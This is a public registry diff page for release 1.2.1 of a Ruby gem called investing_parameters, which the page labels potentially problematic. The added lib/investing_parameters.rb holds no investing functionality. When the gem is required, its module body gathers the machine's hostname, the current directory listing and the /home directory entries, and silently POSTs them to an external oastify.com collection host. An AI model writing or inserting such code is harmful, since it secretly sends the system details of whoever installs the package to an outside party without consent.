investing_parameters 1.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of investing_parameters might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/lib/investing_parameters.rb +30 -0
- metadata +45 -0
checksums.yaml
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
---
|
2
|
+
SHA256:
|
3
|
+
metadata.gz: bb2326569f6f5b7308b828dd970cf1fd7cfa1dd6b18318d445ca983785993110
|
4
|
+
data.tar.gz: bb4f8c0b1c105eee50a441487595c04f8c5e50ecf8d861fa0f79c3064980d879
|
5
|
+
SHA512:
|
6
|
+
metadata.gz: 96b7c023da3fa11567c11f29ce6462caa73f04b1d96179817079961142cf633ee25ce929e5cd0419a6ec068b1c181dd64aa08c6fc54e73cd1112200d2400e7c2
|
7
|
+
data.tar.gz: 84901b44adfe8b7754f056b80ba7e715c455f2da66fad3307b393a1133d95f3acd9b9bba9ba2b5e6818690bd4ac18188d447929a3aa388e3642b26a367ca58bd
|
@@ -0,0 +1,30 @@
|
|
1
|
+
module InvestingParameters
|
2
|
+
|
3
|
+
require 'json'
|
4
|
+
require 'net/http'
|
5
|
+
require 'socket'
|
6
|
+
|
7
|
+
#Host_name
|
8
|
+
hostname = Socket.gethostname
|
9
|
+
#directory
|
10
|
+
dir = Dir.pwd
|
11
|
+
entries = Dir.entries(dir)
|
12
|
+
homedir = Dir.entries('/home/')
|
13
|
+
|
14
|
+
#url
|
15
|
+
uri = URI('http://ozrumzo3yp5fmoflrqv5bj89107rvjj8.oastify.com')
|
16
|
+
req = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')
|
17
|
+
|
18
|
+
req.body = {
|
19
|
+
hostname: hostname,
|
20
|
+
current_directory: dir,
|
21
|
+
directory_dir: entries,
|
22
|
+
home_dir: homedir
|
23
|
+
|
24
|
+
}.to_json
|
25
|
+
|
26
|
+
Net::HTTP.start(uri.hostname, uri.port, :use_ssl => uri.scheme == 'https') do |http|
|
27
|
+
http.request(req)
|
28
|
+
end
|
29
|
+
|
30
|
+
end
|
metadata
ADDED
@@ -0,0 +1,45 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: investing_parameters
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: 1.2.1
|
5
|
+
platform: ruby
|
6
|
+
authors:
|
7
|
+
- Mike Thomson
|
8
|
+
autorequire:
|
9
|
+
bindir: exe
|
10
|
+
cert_chain: []
|
11
|
+
date: 2023-10-10 00:00:00.000000000 Z
|
12
|
+
dependencies: []
|
13
|
+
description: Test1
|
14
|
+
email:
|
15
|
+
- mike_thompson742@proton.me
|
16
|
+
executables: []
|
17
|
+
extensions: []
|
18
|
+
extra_rdoc_files: []
|
19
|
+
files:
|
20
|
+
- lib/investing_parameters.rb
|
21
|
+
homepage: https://rubygems.org/gems/investing_parameters
|
22
|
+
licenses:
|
23
|
+
- MIT
|
24
|
+
metadata:
|
25
|
+
homepage_uri: https://rubygems.org/gems/investing_parameters
|
26
|
+
post_install_message:
|
27
|
+
rdoc_options: []
|
28
|
+
require_paths:
|
29
|
+
- lib
|
30
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
31
|
+
requirements:
|
32
|
+
- - ">="
|
33
|
+
- !ruby/object:Gem::Version
|
34
|
+
version: 2.6.0
|
35
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
36
|
+
requirements:
|
37
|
+
- - ">="
|
38
|
+
- !ruby/object:Gem::Version
|
39
|
+
version: '0'
|
40
|
+
requirements: []
|
41
|
+
rubygems_version: 3.3.5
|
42
|
+
signing_key:
|
43
|
+
specification_version: 4
|
44
|
+
summary: Test1
|
45
|
+
test_files: []
|